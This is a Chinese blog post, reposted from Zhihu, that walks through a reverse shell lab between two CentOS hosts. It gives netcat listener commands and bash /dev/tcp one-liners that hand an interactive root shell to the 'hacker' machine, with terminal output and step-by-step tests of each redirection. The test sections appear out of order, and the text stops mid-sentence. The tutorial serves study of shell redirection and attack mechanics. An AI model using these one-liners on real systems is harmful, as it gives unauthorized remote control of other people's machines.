Chinaunix首页 | 论坛 | 博客
  • 博客访问: 3774292
  • 博文数量: 880
  • 博客积分: 0
  • 博客等级: 民兵
  • 技术积分: 6155
  • 用 户 组: 普通用户
  • 注册时间: 2016-11-11 09:12
个人简介

To be a better coder

文章分类

全部博文(880)

文章存档

2022年(5)

2021年(60)

2020年(175)

2019年(207)

2018年(210)

2017年(142)

2016年(81)

分类: LINUX

2021-12-16 10:21:01

转载自: https ://zhuanlan.zhihu.com/p/138393396

反弹shell实验

环境:两台CentOS7.6服务器

  • 攻击端 hacker:10.201.61.194
  • 受害端 victim:10.201.61.195

1. 攻击端监听一个端口:

[root@hacker ~]# nc -lvp 6767
Ncat: Version 7.50 (  )
Ncat: Listening on :::6767
Ncat: Listening on 0.0.0.0:6767

2.受害端生成一个反弹shell:

[root@victim ~]# bash -i >& /dev/tcp/10.201.61.194/6767 0>&1

3.攻击端已获取到受害端的bash:

[root@hacker ~]# nc -lvp 6767
Ncat: Version 7.50 (  )
Ncat: Listening on :::6767
Ncat: Listening on 0.0.0.0:6767
Ncat: Connection from 10.201.61.195.
Ncat: Connection from 10.201.61.195:46836.
[root@victim ~]#         //攻击端已获得受害端的远程交互式shell
[root@victim ~]# hostname
hostname
victim

解释:

1. nc -lvp 6767

-l 监听,-v 输出交互或出错信息,-p 端口。nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口。

2. bash -i

-i interactive。即产生一个交互式的shell(bash)。

3. /dev/tcp/IP/PORT

特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

通过以下4个小测试来分析反弹shell实现过程:

(PS: 注意执行步骤顺序)

测试1:

受害端:

[root@victim ~]# bash -i > /dev/tcp/10.201.61.194/5566        //第二步
[root@victim ~]# hostname        //第三步
[root@victim ~]#

攻击端:

[root@hacker ~]# nc -lvp 5566      //第一步

Ncat: Version 7.50 (  )
Ncat: Listening on :::5566
Ncat: Listening on 0.0.0.0:5566
Ncat: Connection from 10.201.61.195.
Ncat: Connection from 10.201.61.195:49018.

victim      //测试1结果:实现了将受害端的标准输出重定向到攻击端,但是还没实现用命令控制受害端。

测试2:

受害端:

[root@victim ~]# bash -i < /dev/tcp/10.201.61.194/5566        //第二步
[root@victim ~]# hostname        //测试2结果:实现了将攻击端的输入重定向到受害端,但是攻击端看不到命令执行结果。
victim

 攻击端:

[root@hacker ~]# nc -lvp 5566        //第一步
Ncat: Version 7.50 (  )
Ncat: Listening on :::5566
Ncat: Listening on 0.0.0.0:5566
Ncat: Connection from 10.201.61.195.
Ncat: Connection from 10.201.61.195:50412.
hostname        //第三步(攻击端执行命令)

受害端:

[root@victim ~]# bash -i > /dev/tcp/10.201.61.194/5566 0>&1 2>&1        //第二步。或 # bash -i &> /dev/tcp/10.201.61.194/5566 0>&1  (注:&>或>& 表示混合输出,即标准输出1 + 错误输出2)

攻击端:

[root@hacker ~]# nc -lvp 5566        //第一步
Ncat: Version 7.50 (  )
Ncat: Listening on :::5566
Ncat: Listening on 0.0.0.0:5566
Ncat: Connection from 10.201.61.195.
Ncat: Connection from 10.201.61.195:51182.
[root@victim ~]# hostname        //第三步。测试4结果:攻击端已获得受害端的远程交互式shell,而且受害端没有再回显攻击端输入的命令~
hostname
victim

//PS:由测试3、测试4对比可见,标准错误2不仅显示错误信息的作用,居然还有回显输入命令和终端提示符的作用~~~

测试3

受害端:

[root@victim ~]# bash -i > /dev/tcp/10.201.61.194/5566 0>&1        //第二步
[root@victim ~]# hostname        //受害端回显命令
[root@victim ~]# id        //受害端回显命令
[root@victim ~]# hahaha        //受害端回显命令
bash: hahaha: command not found        //受害端回显命令。显示错误命令的输出。
[root@victim ~]#

 攻击端:

[root@hacker ~]# nc -lvp 5566        //第一步
Ncat: Version 7.50 (  )
Ncat: Listening on :::5566
Ncat: Listening on 0.0.0.0:5566
Ncat: Connection from 10.201.61.195.
Ncat: Connection from 10.201.61.195:36792.
hostname        //第三步(攻击端执行命令)
victim
id        //第四步(攻击端执行命令)
uid=0(root) gid=0(root) groups=0(root)
hahaha        //第五步(执行一个错误的命令)

//测试3结果:基本实现了反弹shell的功能。但是受害端的机器上依然回显了攻击者机器上执行的命令,且攻击
阅读(970) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~